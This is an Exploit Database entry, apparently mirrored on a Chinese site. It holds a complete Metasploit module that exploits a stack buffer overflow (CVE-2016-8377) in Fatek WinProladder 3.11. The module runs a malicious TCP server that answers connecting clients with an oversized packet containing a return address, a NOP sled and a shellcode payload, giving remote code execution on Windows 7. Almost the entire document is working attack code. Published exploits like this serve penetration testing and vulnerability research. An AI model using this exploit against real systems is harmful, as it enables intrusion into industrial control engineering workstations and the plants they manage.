Fatek Automation PLC WinProladder 3.11 Build 14701 – Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42700/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack based buffer overflow found in Fatek Automation
  				PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client
  				connects to a listening server. The client does not properly sanitize the length
  				of the received input prior to placing it on the stack.
  			},
  			'Author' => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'ZDI', '16-672' ],
  					[ 'CVE', '2016-8377' ],
  					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ]
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows 7 EN', 
  							{
  								# CC3250MT.dll
  								# pop ecx/ pop ebp/ retn
  								'Ret' => 0x32514d79
  							} 
  					],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Dec 15 2016'))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The port to listen on", 500])
  			], self.class)
  	end
  
  	def on_client_data(client)
  		p = payload.encoded
  
  		pkt = "A" * 10000
  		pkt[1092, 4] = [0x04eb9090].pack('V')	# jmp $+6
  		pkt[1096, 4] = [target.ret].pack('V')
  		pkt[1100, 50] = "\x90" * 50
  		pkt[1150, p.length] = p
  
  		client.put(pkt)
  		handler
  		service.close_client(client)
  	end
  
  end